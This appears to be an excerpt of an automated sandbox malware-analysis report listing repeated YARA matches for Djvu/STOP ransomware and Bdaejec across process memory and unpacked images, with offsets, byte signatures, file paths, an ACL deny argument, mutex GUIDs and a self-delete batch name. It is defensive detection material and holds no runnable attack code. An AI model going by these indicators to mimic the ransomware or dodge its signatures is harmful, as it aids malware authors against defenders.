Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 736	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 736	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4e1c1:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 3196	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 3196	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4ad6d:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: OmbNjE.exe PID: 1484	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6688	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6688	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x42c45:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 51 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
